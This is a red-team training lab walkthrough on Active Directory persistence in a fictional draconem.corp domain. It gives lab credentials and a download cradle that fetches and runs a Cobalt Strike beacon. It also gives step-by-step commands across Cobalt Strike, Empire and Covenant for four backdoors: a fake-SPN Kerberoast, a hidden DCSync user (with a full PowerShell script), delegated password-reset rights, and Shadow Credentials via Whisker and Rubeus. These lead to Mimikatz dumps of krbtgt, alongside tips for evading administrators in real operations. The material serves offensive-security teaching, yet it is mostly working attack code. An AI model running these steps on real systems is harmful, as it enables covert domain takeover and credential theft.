Lab 5.2: AD Persistence
Objectives
- Establish persistence through clever usage of ACEs on domain objects
TTPs Emulated in This Lab
Preparation
Preparation Steps
Establish an RDP or C2 session as a domain administrator on dc01.draconem.corp. Run this as local admin so your implant connects back under high integrity
Here are the credentials of a domain admin:
- Username:
Almeria.Zanelli - Password:
e$Ccj!W49E57#aS6
xfreerdp +clipboard +drives /cert-ignore /u:Almeria.Zanelli /p:'e$Ccj!W49E57#aS6' /v:dc01.draconem.corp
Cobalt Strike can be accessed through guacamole http://10.130.2.22:8080/guacamole username: student password:Sec565!!
The Cobalt Strike Teamserver credentials are as follows
host: 10.130.4.100
password: sec565@!
The ports you can use with Cobalt Strike are 8888 for setting up a stager and 8443 for setting up a listener.
The easiest way to land a beacon in the lab is using the Scripted Web Delivery function in Cobalt Strike and then performing a download cradle under the form of
iex (irm -useb http://10.130.4.100:8888/a)
replace /a with whatever value you provided in the dialogue in Cobalt Strike.
On Your Own
- Create a backdoor by setting a Service Principal Name to
drew.dorwood - Create a new OU
sec565rulesand a new backdoor usersupersecret, grant thesupersecretuserDCSyncprivileges and manipulate the OU'sDACLso that the user is invisible. - Grant yourself password reset rights for
drew.dorwoodand use those rights to set an arbitrary password - Add a
msDS-KeyCredentialLinktoDC01.draconem.corpusingWhisker
Walkthrough
In the last lab, we compromised all domains in our environment.
In this lab, we will use our newly found privileges to establish persistence on the domain through clever ACE manipulations on objects.
Backdoor 1: Targeted Kerberoasting
Warning
Make sure your implant is running under high integrity!
We can attach Service Principal Names (SPNs) to user accounts and point them to non-existent services.
This way, we can request a service ticket for that user later. As a reminder, service tickets are encrypted with the target's long term key, which, in this case, would be the user's password.
The most straightforward way to do this is by utilizing setspn for this.
Cobalt Strike Approach
1. We can execute the following Powershell task in Cobalt Strike:
powershell setspn -s cifs/allyourpasswordsbelongtous drew.dorwood
This will set a new SPN to the Drew.Dorwood account, pointing it to a service that does not, and never will, exist.
In the lab we made it fairly obvious, but in a real operation you can pick a service that does not stand out as much.
2. Now that there is an SPN attached to Drew, we can use the Rubeus kerberoast task to conduct the targetted kerberoast.
execute-assembly C:\Tools\Rubeus.exe kerberoast /user:Drew.Dorwood /format:hashcat /nowrap
note: your output will be different than the one below, this is expected as your domain will have a different SID each deployment.
Empire Approach
3. We can execute the following shell command in Empire:
setspn -s cifs/allyourpasswordsbelongtous drew.dorwood
This will set a new SPN to the Drew.Dorwood account, pointing it to a service that does not, and never will, exist.
In the lab we made it fairly obvious, but in a real operation you can pick a service that does not stand out as much.
4. Now that there is an SPN attached to Drew, we can use the powershell/credentials/invoke_kerberoast task to conduct the targeted kerberoast.
- Technique : powershell/credentials/invoke_kerberoast
- Identity : drew.dorwood
- OutputFormat:Hashcat
BONUS: Covenant Approach
5. We can execute the following Powershell task in Covenant:
setspn -s cifs/allyourpasswordsbelongtous drew.dorwood
This will set a new SPN to the Drew.Dorwood account, pointing it to a service that does not, and never will, exist.
In the lab we made it fairly obvious, but in a real operation you can pick a service that does not stand out as much.
6. Now that there is an SPN attached to Drew, we can use the Rubeus kerberoast task to conduct the targetted kerberoast.
Rubeus kerberoast /user:Drew.Dorwood /format:hashcat
Now we could submit this ticket to Hashcat to try and crack the user's password at will.
Even when our dear friend Drew changes his password, we will still be able to get a ticket (encrypted with the new password of Drew). This will continue to work for as long as an SPN is attached to the account.
This is typically not something that gets checked and/or changed often so this could be a potential backdoor for several years.
Backdoor 2: Hidden User with DCSync Privileges
For this technique a GUI is very useful to fully comprehend what we are doing.
We are going to create a new OU in the draconem.corp domain and add a new backdoor user into it.
Afterward, we are going to assign the backdoor user DCSync rights.
As a final step, we are going to deny the view permissions of the OU for everyone, preventing anyone from seeing the object in the OU.
After the GUI approach, we will automate the attack as well.
GUI Approach
7. On the domain controller as a domain admin, let's open up the Active Directory Users and Computers overview:
8. Now let's create a new Organizational Unit (OU) in our draconem.corp domain and call it 565rules. We will also disable to accidental deletion protection for lab purposes. In a real operation, you can leave this on to cause an additional struggle for IT administrators to get rid of the rogue OU.
9. Now that we have our new OU set up, we can add a new user in the OU. Let's call our backdoor user supersecret and give it a password you like:
10. We want our backdoor user to have DCSync privileges. We can do this in two ways: either by using PowerView (fastest), or through the GUI (takes a lot of searching through all the options).
11. We will first have to toggle the advanced view in our overview window:
Manual Approach
12. For the manual approach, we can go to the security tab of our draconem domain and press the Add button:
13. This will open up a Window with all potential options for our supersecret user. In order to get DCSync privileges you need to find the Replicating Directory Changes and Replication Directory Changes All properties and tick them on:
PowerView Approach
14. In PowerView it is as simple as first loading PowerView in memory:
iex (iwr -useb https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1)
15. Then using the Add-ObjectAcl -PrincipalIdentity supersecret -Rights DCSync -Verbose cmdlet to grant DCSync rights to our supersecret user:
16. Now we want to hide our backdoor user so no one will see it anymore. We can right-click our 565rules OU and click the Properties menu, then go to the Security tab and tick on all the Deny Permissions for the Everyone user:
17. After this is done, you will now see that the 565rules container appears empty, even though we, the attackers, know it actually is not.
Automated Approach
18. To automate the whole sequence that we illustrated using the GUI, we are going to utilize PowerShell. This script is under the assumption that you are executing it on a domain controller with high-integrity context.
function Invoke-SneakyBackDoor{
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$OU,
[Parameter(Mandatory=$True)]
[string]$AccountName,
[Parameter(Mandatory=$True)]
[string]$Password
)
$dse = [ADSI]"LDAP://Rootdse"
$namingcontext = $dse.defaultNamingContext
echo "Creating new OU $OU"
New-ADOrganizationalUnit -ProtectedFromAccidentalDeletion $False -Name $OU
echo "Creating new User $AccountName"
New-ADUser -Name $AccountName -AccountPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -Enabled $True -Path "OU=$OU,$namingcontext"
echo "Giving $AccountName DCSync rights"
dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes" | Out-Null
echo "Removing all rights on $OU"
dsacls.exe "OU=$OU,$namingcontext" /D Everyone:LC | Out-Null
echo "Removing all reading rights on $AccountNAme"
dsacls.exe "CN=$AccountName,Ou=$OU,$namingcontext" /D Everyone:GAGR | Out-Null
}
A little bit of explanation is warranted here of what exactly we are doing:
- First we are getting the default LDAP naming context of our domain automatically using ADSI. In the case of
draconem.corpthis would result intoDC=Draconem,DC=corp. - Secondly, we are creating a new
OUusing the AD module's built-inNew-ADOrganizationalUnitcmdlet. - We then create a new user using the AD Module's built-in
New-ADUsercommand and put the new user in the OU we just created. - Now, we are going to grant our user DCSync rights using
dsacls - As a final step, we are denying the list child-item right (LC) for
everyoneon the OU we created, effectively blocking anyone from viewing the content of the OU. We are also removing generic read and generic all from our account so it does not show up in explicit queries either.
For the record, these rights can also be granted by tools such as PowerView or StandIn. Feel free to execute this script over the C2 of your choosing.
19. We can test our backdoor user by logging in on our wk01 instance as our supersecret user and use Mimikatz.
xfreerdp +clipboard /cert-ignore /u:Almeria.Zanelli /p:'e$Ccj!W49E57#aS6' /v:wk01.draconem.corp
open up Powershell as different user and fill in the credentials of your supersecret user and execute the following command:
iex(irm -useb "https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1?raw=true")
Invoke-Mimikatz -command '"lsadump::dcsync /user:draconem\krbtgt"'
Backdoor 3: Force Change Password
If we have the ExtendedRight User-Force-Change-Password on a user object, we can reset the user's password without knowing their current password.
We can give someone these rights on one of the domain administrators. This means that, as attackers, we can now become DA at will by resetting the DA password to whatever we want.
Granting this right can be using PowerView,StandIn,or dacls with dacls being a built-in tool on any machine that has the Active Directory RSAT installed.
20. An example to grant these rights using PowerView is as follows:
On DC01 as Almeria.Zanelli run the following script from a PowerShell Prompt as administrator:
make sure you have added the +drives in your xfreerdp command to connect to DC01, otherwise the below will not work.
You might get asked if you wish to run the script, pressing r on your keyboard will bypass the execution policy allowing you to load powerview.
cd \\tsclient\media\home\sec565\tools
. .\PowerView.ps1
Add-ObjectAcl -PrincipalIdentity Gareth.Kilgallen -TargetIdentity drew.dorwood -Rights ResetPassword
This command grants Gareth.Kilgallen the rights to reset the password of drew.dorwood whenever our backdoor user wants, without having to know Drew's password.
Let's RDP as Gareth and spawn a new implant. Using a Cobalt Strike / Covenant / Empire launcher as we have done multiple times in the labs so far.
Note. Please make sure Gareth does not have another active session on wk01, the login needs to be fresh so the new permissions are fetched.
xfreerdp +clipboard /cert-ignore /u:Gareth.Kilgallen /p:Hu825meapvsAq#Rx /v:wk01.draconem.corp
Resetting the password can be done using PowerView or StandIn:
Cobalt Strike Approach
21. Let's use StandIn to reset the password of drew.dorwood using the execute-assembly task.
execute-assembly C:\Tools\StandIn.exe --object samaccountname=drew.dorwood --newpass LegitPassw0rd!
22. Now that we have reset his password to an arbitrary value, we can create a new token
make_token draconem\drew.dorwood LegitPassw0rd!
23. And then finally, use DCSync to dump the krbtgt hashes once again.
dcsync draconem.corp draconem\krbtgt
Empire Approach
24. Let's use PowerView to reset the password of drew.dorwood using the invoke_script task.
- Technique:powershell/management/invoke_script
- ScriptCmd:Set-DomainUserPassword -Identity drew.dorwood -AccountPassword(ConvertTo-SecureString 'Test1234!' -AsPlainText -Force) -Verbose
- ScriptPath:/home/sec565/tools/PowerView.ps1
25. Now that we have reset his password to an arbitrary value, we can spawn a new Agent using his credentials.
- Techniques:powershell/management/spawnas
- Listener:choose from dropdown
- Password:Test1234!
- UserName:drew.dorwood
26. And then finally, use DCSync with the freshly spawned Agent to dump the krbtgt hashes once again.
- Technique : powershell/credentials/mimikatz/dcsync
- user : draconem\krbtgt
BONUS: Covenant Approach
27. Let's use StandIn to reset the password of drew.dorwood using the Assembly task.
Parameters : --object "samaccountname=drew.dorwood" --newpass "LegitPassw0rd!"
28. Now that we have reset his password to an arbitrary value, we can spawn a new Grunt using his credentials:
29. And then finally, use DCSync to dump the krbtgt hashes once again.
dcsync draconem\krbtgt
Backdoor 4: Shadow Credentials
This technique has been discovered by the researchers of SpecterOps and relies on abusing the msDS-KeyCredentialLink attribute of an object.
By setting this attribute it is possible for an attacker to completely take over the object itself through PKINIT authentication.
The full blog post detailing the attack primitive can be read here: https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab:
In order to utilize this techniques there are a few prerequisites:
- The functional level of the domain needs to be Server 2016 or above.
- AD CS needs to be deployed in the environment.
- We need to have control over an account that has write privileges on the
msDS-KeyCredentialLinkattribute of an object.
This primitive can be seen as an alternative to resource based constrained delegation, with the advantage that it can also be used to compromise user accounts.
Attention
If you want to perform this attack multiple times to practice, be sure to clear the msDS-KeyCredentialLink first using Whisker, as it cannot be overwritten and will error out.
Whisker.exe clear /target:dc01$ /domain:draconem.corp
Spawn an implant on DC01 using your C2 of choice with high integrity context.
Cobalt Strike Approach
30. Let's use Whisker by invoking the execute-assembly task in Cobalt Strike to set a new KeyCredentialLink for our Domain Controller (DC01$)
execute-assembly C:\Tools\Whisker.exe add /target:dc01$ /domain:draconem.corp /dc:dc01.draconem.corp
31. Now we can use Rubeus to request a TGT for DC01 using our KeyCredentialLink certificate whenever we want, even when the object (in this case, the domain controller) has changed passwords!
Attention
Be sure to remove the " " from the /password section of the command or the Rubeus command has a chance of failure.
execute-assembly C:\Tools\Rubeus.exe (see output of previous step for Rubeus command to execute)
32. Finally we get the DC's NTLM hash and TGT in Rubeus's output:
Empire Approach
33. Let's invoke the PowerShell version of Whisker called Invoke-Whisker to set a new KeyCredentialLink for our Domain Controller (DC01$)
Techniques:powershell/management/invoke_scriptScriptCmd:Invoke-Whisker -Command "add /target:dc01$ /domain:draconem.corp /dc:dc01.draconem.corp"-
ScriptPath:/home/sec565/tools/Invoke-Whisker.ps1Inspect and copy the Task output as it provides you with the commandline to pass to
Rubeus.34. Now we can use
Rubeusto request aTGTfor DC01 using our KeyCredentialLink certificate whenever we want, even when the object (in this case, the domain controller) has changed passwords!Attention
Be sure to remove the
" "from the /password section of the command or theRubeuscommand will not work.Techniques:powershell/credentials/rubeusCommand:asktgt /user:dc01$ /certificate:<whisker output> /password:<whisker output> /domain:draconem.corp /dc:dc01.draconem.corp /getcredentials /show
35. Finally we get the DC's NTLM hash and TGT in
Rubeus's output:
BONUS: Covenant Approach
36. Let's use Whisker by invoking the Assembly task in Covenant to set a new KeyCredentialLink for our Domain Controller (DC01$)
add /target:dc01$ /domain:draconem.corp /dc:dc01.draconem.corp
37. Now we can use Rubeus to request a TGT for DC01 using our KeyCredentialLink certificate whenever we want, even when the object (in this case, the domain controller) has changed passwords!
Attention
Be sure to remove the " " from the /password section of the command or the Rubeus command will not work.
Be sure to use the Assembly task and not the built-in Rubeus, as the built-in version does not support this attack!
38. Finally we get the DC's NTLM hash and TGT in Rubeus's output:













































